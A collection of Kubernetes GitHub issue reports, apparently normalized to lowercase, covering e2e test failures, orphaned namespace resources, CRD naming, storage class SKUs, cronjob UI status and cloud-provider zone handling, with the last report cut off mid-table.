https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/11721/  failed:  k8s.io  docker containers should be able to override the image's default command and arguments  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/docker_containers.go:72 expected error:     < errors.errorstring | 0xc8202643f0>: {         s: \ gave up waiting for pod 'client-containers-a53f813c-503e-11e6-88dd-0242ac110003' to be 'success or failure' after 5m0s\ ,     }     gave up waiting for pod 'client-containers-a53f813c-503e-11e6-88dd-0242ac110003' to be 'success or failure' after 5m0s not to have occurred

i've got my kubernetes cluster into a state where there are pods and a deployment that belong to a deleted namespace.\r \r i deleted the namespace  by calling the rest api directly .\r \r and i can't delete the orphaned resources.\r \r    \r root@acceptance-test-richardw-l2ljj4wewubtc-0:~  kubectl get --show-all --all-namespaces pods\r namespace                                                         name                                                               ready     status    restarts   age\r kube-system                                                       dummy-2088944543-v5fg8                                             1/1       running   1          1d\r kube-system                                                       etcd-acceptance-test-richardw-l2ljj4wewubtc-0                      1/1       running   1          1d\r kube-system                                                       kube-apiserver-acceptance-test-richardw-l2ljj4wewubtc-0            1/1       running   1          1d\r kube-system                                                       kube-controller-manager-acceptance-test-richardw-l2ljj4wewubtc-0   1/1       running   3          1d\r kube-system                                                       kube-discovery-1150918428-f4k00                                    1/1       running   1          1d\r kube-system                                                       kube-dns-654381707-ywhvt                                           3/3       running   0          1d\r kube-system                                                       kube-proxy-5yycz                                                   1/1       running   0          1d\r kube-system                                                       kube-proxy-pbft1                                                   1/1       running   0          1d\r kube-system                                                       kube-scheduler-acceptance-test-richardw-l2ljj4wewubtc-0            1/1       running   3          1d\r kube-system                                                       weave-net-czyj0                                                    2/2       running   0          1d\r kube-system                                                       weave-net-obiaa                                                    2/2       running   0          1d\r t-kubernetesplugin-kubernetesplugintests-test-create-pod-355385   nginx-deployment-4087004473-7hh33                                  1/1       running   0          2h\r t-kubernetesplugin-kubernetesplugintests-test-create-pod-355385   nginx-deployment-4087004473-dfg1d                                  1/1       running   0          2h\r t-kubernetesplugin-kubernetesplugintests-test-create-pod-355385   nginx-deployment-4087004473-fxmfr                                  1/1       running   0          2h\r    \r    \r root@acceptance-test-richardw-l2ljj4wewubtc-0:~  kubectl get --show-all namespaces                                                                                       \r name          status    age\r default       active    2h\r kube-system   active    2h\r    \r    \r root@acceptance-test-richardw-l2ljj4wewubtc-0:~  kubectl delete --namespace t-kubernetesplugin-kubernetesplugintests-test-create-pod-355385 pod nginx-deployment-4087004473-fxmfr\r error from server: namespaces \ t-kubernetesplugin-kubernetesplugintests-test-create-pod-355385\  not found\r    \r    \r root@acceptance-test-richardw-l2ljj4wewubtc-0:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r root@acceptance-test-richardw-l2ljj4wewubtc-0:~  cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r \r    \r uname -a\r linux acceptance-test-richardw-l2ljj4wewubtc-0 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r cloud: google cloud platform \r installed according to  kubeadm  documentation http://kubernetes.io/docs/getting-started-guides/kubeadm/

looks like test-cmd secrets may have developed a flake while the tests were disabled.  seeing\r \r    \r i0126 06:59:17.164  test-cmd-util.sh:1587: successful get secret/secret-string-data --namespace=test-secrets  {{.data}}: map k1:dje= k2:dji= \r i0126 06:59:17.251  \u001b btest-cmd-util.sh:1588: successful get secret/secret-string-data --namespace=test-secrets  {{.data}}: map k1:dje= k2:dji= \r i0126 06:59:17.838  \u001b btest-cmd-util.sh:1589: successful get secret/secret-string-data --namespace=test-secrets  {{.stringdata}}: <no value>\r i0126 06:59:17.920  \u001b bsecret \ secret-string-data\  deleted\r w0126 06:59:18.020  /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh: line 72: 11751 terminated              kubectl proxy --port=0 --www=. --api-prefix=\ $1\  > ${proxy_port_file} 2>&1\r w0126 06:59:18.021  e0126 06:59:15.097471   11543 namespace_controller.go:367  failed to ensure delete object from underlying clusters finalizer in namespace my-namespace: failed to add finalizer orphan to namespace : operation cannot be fulfilled on namespaces \ my-namespace\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.021  e0126 06:59:15.100182   11543 namespace_controller.go:367  failed to ensure delete object from underlying clusters finalizer in namespace my-namespace: failed to add finalizer orphan to namespace : operation cannot be fulfilled on namespaces \ my-namespace\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.021  e0126 06:59:15.433898   11543 namespace_controller.go:367  failed to ensure delete object from underlying clusters finalizer in namespace test-secrets: failed to add finalizer orphan to namespace : operation cannot be fulfilled on namespaces \ test-secrets\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.021  no resources found.\r w0126 06:59:18.021  e0126 06:59:15.691729   11543 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret test-secret: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ test-secret\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.021  no resources found.\r w0126 06:59:18.022  e0126 06:59:16.202611   11543 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret test-secret: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ test-secret\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.022  no resources found.\r w0126 06:59:18.022  e0126 06:59:16.721263   11543 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret test-secret: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ test-secret\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.022  e0126 06:59:16.725644   11543 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret test-secret: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ test-secret\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.022  e0126 06:59:17.078269   11543 secret_controller.go:341  failed to ensure delete object from underlying clusters finalizer in secret secret-string-data: failed to add finalizer orphan to secret : operation cannot be fulfilled on secrets \ secret-string-data\ : the object has been modified; please apply your changes to the latest version and try again\r w0126 06:59:18.023  i0126 06:59:17.832206    9173 trace.go:61  trace \ get /api/v1/namespaces/test-secrets/secrets/secret-string-data\   started 2017-01-26 06:59:17.330701321 -0800 pst :\r w0126 06:59:18.023   501.438656ms   501.438656ms  end\r i0126 06:59:18.148  \r i0126 06:59:18.151  test-cmd-util.sh:1595: fail!\r i0126 06:59:18.151  get secrets --namespace=test-secrets {{range.items}}{{.metadata.name}}:{{end}}\r i0126 06:59:18.151    expected: \r i0126 06:59:18.151    got:      secret-string-data:\r i0126 06:59:18.151  \u001b b\r i0126 06:59:18.151  1595 /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh\r i0126 06:59:18.151  \u001b b\r i0126 06:59:18.169  +++  0126 06:59:18  clean up complete\r i0126 06:59:18.171  makefile:258: recipe for target 'test-cmd' failed\r    \r from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/2608 and the queue is blocked.\r \r @nikhiljindal aftermath i think.

feature request   \r \r the annotation \r    yaml\r pod.alpha.kubernetes.io/initialized=bool\r    \r needs to be deprecated as was decided in the beta-ga roadmap.\r all e2e tests need to be updated to not use this annotation.

if user specifies  via .kubeconfig or commandline  a context that is unknown, the command should fail rather than use default values.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubectl get route-rules.config.istio.io  fails and prints \ the server doesn't have a resource type \ route-rules\  in group \ config.istio.io\  with the following crd.\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: route-rules.config.istio.io\r spec:\r   group: config.istio.io\r   names:\r     kind: routerule\r     plural: route-rules\r     singular: routerule\r   version: v1alpha2\r    \r \r   what you expected to happen  :\r \r  kubectl get route-rules.config.istio.io  should return the list of custom objects defined by the  route-rules.config.istio.io  crd or  no resources found  if no objects have been created yet.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     non-working example\r    \r $ cat bad.yaml \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: route-rules.config.istio.io\r spec:\r   group: config.istio.io\r   names:\r     kind: routerule\r     plural: route-rules\r     singular: routerule\r   version: v1alpha2\r \r $ kubectl apply -f bad.yaml \r customresourcedefinition \ route-rules.config.istio.io\  created\r \r $ kubectl get route-rules.config.istio.io\r the server doesn't have a resource type \ route-rules\  in group \ config.istio.io\ \r    \r \r   anything else we need to know?  :\r \r the following crd _does_ work as expected.\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: routerules.config.istio.io\r spec:\r   group: config.istio.io\r   names:\r     kind: routerule\r     plural: routerules\r     singular: routerule\r   version: v1alpha2\r \r $ kubectl get routerules.config.istio.io\r no resources found\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke 1.7.3 alpha\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r now for storage class only support skuname with premium_lrs and standard_lrs\r met error if the storage account was created with other sku. but actually it can work well without setting it\r \r   what you expected to happen  :\r skuname should support others if the storage account support it\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a storage account which is using standard_ragrs sku. create storage class as below:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: scazure\r parameters:\r   location: eastus\r   skuname: standard_ragrs\r   storageaccount: storage\r provisioner: kubernetes.io/azure-disk\r    \r create pvc as below\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     volume.beta.kubernetes.io/storage-class: scazure\r   name: azpvc\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r pvc would never bind with below error:\r failed to provision volume with storageclass \ scazure\ : azuredisk - standard_ragrs is not supported sku/storageaccounttype. supported values are  premium_lrs standard_lrs \r \r but if i remove the skuname parameter, the pvc could be bound \r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: scazure\r parameters:\r   location: eastus\r   storageaccount: storage\r provisioner: kubernetes.io/azure-disk\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6+a08f5eeb62\ , gitcommit:\ c84beff\ , gittreestate:\ clean\ , builddate:\ 2017-11-12t02:22:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6+a08f5eeb62\ , gitcommit:\ c84beff\ , gittreestate:\ clean\ , builddate:\ 2017-11-12t02:22:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :  rhel7\r - install tools: ansible\r \r

\r  /area test\r      is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r i deployed a cluster on aws. i want to run  kubemark test   https://github.com/kubernetes/kubernetes/tree/master/test/kubemark  . by pre-existing they state to give configurations like this \r _cloud_provider=\ pre-existing\ \r kubemark_image_make_target=\ push\ \r container_registry=docker.io\r project=\ rthallisey\ \r master_ip=\ 192.168.121.29:6443\ _\r \r \r here what is the master ip pointing to ?\r  \r   what you expected to happen  :\r i want kubemark test to be performed on the same cluster deployed on aws.\r \r \r \r   environment  : aws \r \r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r i have some cronjobs with job templates configured with active deadlines. if a job runs beyond its active deadline, k8s terminates it as expected. i can query the job via kubectl and see the failure reason:\r \r    \r status:\r   conditions:\r   - lastprobetime: 2018-05-23t03:15:08z\r     lasttransitiontime: 2018-05-23t03:15:08z\r     message: job was active longer than specified deadline\r     reason: deadlineexceeded\r     status: \ true\ \r     type: failed\r   failed: 1\r   starttime: 2018-05-23t02:30:08z\r \r    \r however, when i look at the gke ui, it shows the cronjob status as  ok  and, when i drill into the detailed view of the cronjob, the \ managed pods\  section is empty - i.e. there is no apparent execution history for the cronjob, despite me being able to see the failed job instance via kubectl.\r \r   what you expected to happen  :\r \r i would expect to be see the cronjob showing as failed and be able to drill down through the ui to see the details of the failed job instance.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this issue can be reproduced by creating a cronjob containing a job template with  activedeadlineseconds  set, and then make sure the pod executed by the job does not exit within the active deadline period.\r \r   anything else we need to know?  :\r \r for jobs that run to completion within an active deadline, the ui shows me everything i expect - cronjob shows as failed, and i can drill into the job instance. this is true if the job exits successfully or in error.\r \r what i believe the issue to be with the gke ui is that it make an assumption that the pod spawned by a job will still exist after the job terminates for whatever reason. in the case of jobs that exit on their own, the corresponding pod will not be cleared up  assuming  successfuljobshistorylimit  > 0 . however, in the case of a job exceeding its active deadline, the only option for k8s i guess is to forcibly delete the pod. unfortunately, because the pod is deleted, the assumption that gke's ui makes is then rendered invalid, and thus it does not display the true nature of what's actually happened.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: google kubernetes engine\r

i created elasticsearch-logging rc and service from https://github.com/googlecloudplatform/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch, but they vanished after some time.  steps to repro:      $ kubectl create -f cluster/addons/fluentd-elasticsearch/es-controller.yaml $ kubectl create -f cluster/addons/fluentd-elasticsearch/es-service.yaml      i verified that the rc and service were created fine:      $ ./cluster/kubectl.sh get rc --all-namespaces namespace     controller                     container s             image s                                           selector                                   replicas kube-system   elasticsearch-logging-v1       elasticsearch-logging   gcr.io/google_containers/elasticsearch:1.7        k8s-app=elasticsearch-logging,version=v1   2 kube-system   kube-dns-v8                    etcd                    gcr.io/google_containers/etcd:2.0.9               k8s-app=kube-dns,version=v8                1                                              kube2sky                gcr.io/google_containers/kube2sky:1.11                                                                                                     skydns                  gcr.io/google_containers/skydns:2015-03-11-001                                                                                             healthz                 gcr.io/google_containers/exechealthz:1.0                                                      kube-system   kube-ui-v1                     kube-ui                 gcr.io/google_containers/kube-ui:v1.1             k8s-app=kube-ui,version=v1                 1 kube-system   monitoring-heapster-v5         heapster                gcr.io/google_containers/heapster:v0.16.0         k8s-app=heapster,version=v5                1 kube-system   monitoring-influx-grafana-v1   influxdb                gcr.io/google_containers/heapster_influxdb:v0.3   k8s-app=influxgrafana,version=v1           1                                              grafana                 gcr.io/google_containers/heapster_grafana:v0.7                       $ ./cluster/kubectl.sh get svc --all-namespaces namespace     name                    labels                                                                                              selector                        ip s           port s  default       kubernetes              component=apiserver,provider=kubernetes                                                             <none>                          10.0.0.1       443/tcp kube-system   elasticsearch-logging   k8s-app=elasticsearch-logging,kubernetes.io/cluster-service=true,kubernetes.io/name=elasticsearch   k8s-app=elasticsearch-logging   10.0.230.153   9200/tcp kube-system   kube-dns                k8s-app=kube-dns,kubernetes.io/cluster-service=true,kubernetes.io/name=kubedns                      k8s-app=kube-dns                10.0.0.10      53/udp                                                                                                                                                                                          53/tcp kube-system   kube-ui                 k8s-app=kube-ui,kubernetes.io/cluster-service=true,kubernetes.io/name=kubeui                        k8s-app=kube-ui                 10.0.116.215   80/tcp kube-system   monitoring-grafana      kubernetes.io/cluster-service=true,kubernetes.io/name=grafana                                       k8s-app=influxgrafana           10.0.39.192    80/tcp kube-system   monitoring-heapster     kubernetes.io/cluster-service=true,kubernetes.io/name=heapster                                      k8s-app=heapster                10.0.189.133   80/tcp kube-system   monitoring-influxdb     kubernetes.io/cluster-service=true,kubernetes.io/name=influxdb                                      k8s-app=influxgrafana           10.0.186.22    8083/tcp                                                                                                                                                                                          8086/tcp       but running the same commands after ~5 mins, didnt return elasticsearch-logging rc or service.

whatever kube-up becomes in 1.3 should: - be good - should work with the installation technologies that people want to use  in particular terraform & cloudformation seem important on aws  - should allow changes - should offer reasonable configuration  multi-az, internal cidr, networking layer  - allow groups of nodes to be added & managed easily, with different configurations  azs, instance types, spot vs non-spot   there is a lot of overlap here with the kube-up v2 work here:  23174  the aws upgrader tool has much of the machinery to do this: it can build aws clusters directly and idempotently.  but it can also render to different targets, so it might be a matter of adding terraform & cloudformation targets here.  https://github.com/kopeio/kope

https://github.com/kubernetes/kubernetes/blob/fdb110c859c1bd626ac41c886ed76ab5bc973318/pkg/client/record/events_cache.go l245 is marshaling the internal object to create a strategic merge patch.  it should be using the v1 event.

cluster/gce/upgrade.sh -n does not support local binaries. it has to upgrade to an official release.  this means that we cannot do a test of a node upgrade before we cut a release.  for 1.3.0, we had to cut an extra beta release just to have a release tarball on our release site in order to upgrade.  the scripts should be able to use a local build  this is possible for master upgrades already .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-slow/1315/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:44 nov  3 09:55:58.570: unable to connect/talk to the internet: get http://google.com: dial tcp  2607:f8b0:4001:c05::71 :80: connect: network is unreachable /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:39

shell\r export kubelet_test_args=--experimental-cri=true\r export kube_os_distribution=coreos\r export kube_gce_master_project=coreos-cloud\r export kube_gce_node_project=coreos-cloud\r export kube_gce_master_image=coreos-stable-1185-5-0-v20161207\r export kube_gce_node_image=coreos-stable-1185-5-0-v20161207\r \r make quick-release\r ...\r   launch a cluster\r go run hack/e2e.go -v --up\r ...\r \r   check pods\r kubectl get pods --all-namespaces\r namespace     name                                            ready     status             restarts   age\r kube-system   etcd-empty-dir-cleanup-e2e-test-yifan-master    1/1       running            0          13m\r kube-system   etcd-server-e2e-test-yifan-master               1/1       running            0          14m\r kube-system   etcd-server-events-e2e-test-yifan-master        1/1       running            0          14m\r kube-system   fluentd-gcp-v1.31-6xv14                         1/1       running            1          14m\r kube-system   fluentd-gcp-v1.31-d86tw                         1/1       running            0          14m\r kube-system   fluentd-gcp-v1.31-pccjk                         1/1       running            0          14m\r kube-system   fluentd-gcp-v1.31-pnwr6                         1/1       running            1          14m\r kube-system   heapster-v1.2.0-4056778083-4pzp3                4/4       running            0          14m\r kube-system   kube-addon-manager-e2e-test-yifan-master        1/1       running            0          14m\r kube-system   kube-apiserver-e2e-test-yifan-master            1/1       running            3          15m\r kube-system   kube-controller-manager-e2e-test-yifan-master   1/1       running            0          14m\r kube-system   kube-dns-4119793748-4pntc                       1/3       crashloopbackoff   12         14m\r kube-system   kube-dns-autoscaler-526443149-zf421             1/1       running            0          14m\r kube-system   kube-proxy-e2e-test-yifan-minion-group-66gm     1/1       running            0          13m\r kube-system   kube-proxy-e2e-test-yifan-minion-group-8drd     1/1       running            0          14m\r kube-system   kube-proxy-e2e-test-yifan-minion-group-p2mc     1/1       running            0          13m\r kube-system   kube-scheduler-e2e-test-yifan-master            1/1       running            0          14m\r kube-system   kubernetes-dashboard-1083880797-6ffhs           0/1       crashloopbackoff   6          14m\r kube-system   l7-default-backend-3907025906-5wbq7             1/1       running            0          14m\r kube-system   l7-lb-controller-v0.8.0-e2e-test-yifan-master   1/1       running            0          14m\r kube-system   monitoring-influxdb-grafana-v4-x9t7w            2/2       running            0          14m\r kube-system   node-problem-detector-v0.1-hv4zx                1/1       running            0          14m\r kube-system   node-problem-detector-v0.1-l8tjc                1/1       running            0          14m\r kube-system   node-problem-detector-v0.1-lbbcc                1/1       running            0          14m\r kube-system   node-problem-detector-v0.1-mpv69                1/1       running            0          14m\r kube-system   rescheduler-v0.2.1-e2e-test-yifan-master        1/1       running            0          14m\r    \r \r typically, the dns and dashboard is in crash loop.\r \r ref https://github.com/kubernetes/kubernetes/pull/34282 issuecomment-270246739\r \r cc @euank @kubernetes/sig-rktnetes-misc \r

kubernetes version: 1.6\r component/area: storage\r affected modules: flex volume\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.482+b2ea780731417d-dirty\ , gitcommit:\ b2ea780731417da74d312bfce8ac560ae7248831\ , gittreestate:\ dirty\ , builddate:\ 2017-02-07t21:51:55z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.1-1+00a638423087f6-dirty\ , gitcommit:\ 00a638423087f6e81819667f662f194a2a2d8da9\ , gittreestate:\ dirty\ , builddate:\ 2017-04-15t16:16:36z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r flex volumes which implement getvolumename api are getting unmounted during run time.\r \r   what you expected to happen  :\r volumes should not be unmounted.\r \r   how to reproduce it    as minimally and precisely as possible :\r use flex volume driver which implements getvolumename.\r \r \r   anything else we need to know  :\r workaround:\r - do not implement getvolumename api. the api default uses pv name as the volume name.\r - detach call uses volume name, so the plugin detach has to work with pv name.\r \r temporary fix for 1.6:\r  - pass pv name to flex volume driver using extra options.\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm currently part of a team working on implementing an out-of-tree cloud controller manager  ccm  for  oracle bare metal cloud  4 .\r \r for in-tree cloud-providers the   cloudprovider.getzone     1  method is  called from  kubelet   2 . this allows in-tree cloud providers to implement   getzone     1  by querying local metadata services  as  kubelet  is of course running on the node itself .\r \r for out-of-tree cloud-providers   getzone     1  is called in   addcloudnode     3  in the context of the cloud-controller-manager binary. thus, local metadata services return the failure zone and region for the node on which the ccm is running rather than the node itself.\r \r   what you expected to happen  :\r \r out-of-tree cloud providers should have access to the same functionality as in-tree cloud-providers.\r \r i propose extending the   cloudprovider.zones     5  interface to include a  getzonebyproviderid providerid string   method and utilising this method in   addcloudnode     3 .\r \r alternatively  or additionally  the signature of   getzone     1  could be modified to take a  types.nodename  parameter and the existing cloud-providers updated. this would be consistent with the other interfaces in the  cloudprovider  package.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  - deploy an out-of-tree cloud controller manager as a daemon set running on the master nodes.\r  - add node to cluster in a different failure zone to the node on which the leader ccm is running.\r  - note that the node is labeled as being in the failure zone and region of the node the ccm is running on.\r \r   anything else we need to know?  :\r \r i am very happy to implement this as an initial contribution to k8s if there is consensus on the issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r       \r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r       \r - cloud provider or hardware configuration:  oracle bare metal cloud  4 \r - os  e.g. from /etc/os-release :  oracle linux 7.3\r - kernel  e.g.  uname -a  :  4.1.12-94.3.6.el7uek.x86_64 x86_64 gnu/linux \r - install tools:  kubeadm \r \r /cc @luxas @thockin @wlan0 @rrati @roberthbailey @tjfontaine\r \r  1 : https://github.com/kubernetes/kubernetes/blob/5529d01a22299728c59e7e3db92ccbf908ebae4f/pkg/cloudprovider/cloud.go l185\r  2 : https://github.com/kubernetes/kubernetes/blob/c35bf2aa7b476c2523687b923f9e485df333f1d2/pkg/kubelet/kubelet_node_status.go l310\r  3 : https://github.com/kubernetes/kubernetes/blob/c35bf2aa7b476c2523687b923f9e485df333f1d2/pkg/controller/cloud/nodecontroller.go l267\r  4 : https://cloud.oracle.com/en_us/bare-metal\r  5 : https://github.com/kubernetes/kubernetes/blob/c35bf2aa7b476c2523687b923f9e485df333f1d2/pkg/cloudprovider/cloud.go l183

basic problem:\r \r you are tasked with upgrading examplecorp's cluster from kubernetes 1.12 to 1.13. examplecorp runs 50 different user apiservers from 50 different companies/vendors, and not all of them have published versions for 1.13. 1.13 fixes some critical bugs in the admission control stack.\r \r claim:   any feature of the generic apiserver library that doesn't have to be compiled in to a user apiserver, shouldn't be.    this is an expansion of  my comment here  https://github.com/kubernetes/kubernetes/issues/49038 issuecomment-326127073  \r \r things that must be compiled in:\r   encoding, decoding\r \r things that don't need to be compiled in:\r   applying the dynamic admission control chain?\r    especially including quota?\r \r i'm not 100% sure we are going to end up with a list long enough to justify this effort, but i want to start a conversation. if we did shift this direction, the example apiserver would begin shipping a pod spec, where one container was the example apiserver and the other is this hypothetical sidecar.\r \r the sidecar <-> user apiserver interface would have to be carved in stone for this to make sense, obviously.\r \r the kubernetes control plane could use its own initializer  edit: admission webhook  to run the correct version of the sidecar.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >\r >  \r \r \r   what happened  :\r  taintnodebycondition   param is not used\r \r   what you expected to happen  :\r when this param set true, it does not take effect. i think it should taint node when this flag set and reach some conditionm like memory pressure...\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  383b71a24c3d619f44dd  https://go.k8s.io/triage 383b71a24c3d619f44dd        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 expected error:     < errors.errorstring | 0xc420310600>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:189           failure cluster statistics: 454 tests failed,    31 jobs failed,    74 builds failed. failure stats cover 1 day time range '16 oct 2017 21:44 utc' to '17 oct 2017 21:44 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  resourcequota should create a resourcequota and capture the life of a replication controller. | 3 | |  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance  | 3 | |  k8s.io  docker containers should use the image defaults if command and args are blank  conformance  | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-slow | 22 |  17 oct 2017 20:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/8245  | | ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel | 4 |  17 oct 2017 20:04 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/322  | | ci-kubernetes-e2e-kops-aws-serial | 4 |  17 oct 2017 16:22 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-serial/2005  |  /assign @rrati @gmarek @vishh  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | rrati |  k8s.io  resourcequota should create a resourcequota and capture the life of a replication controller.;  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover;  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: http | | gmarek |  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance ;  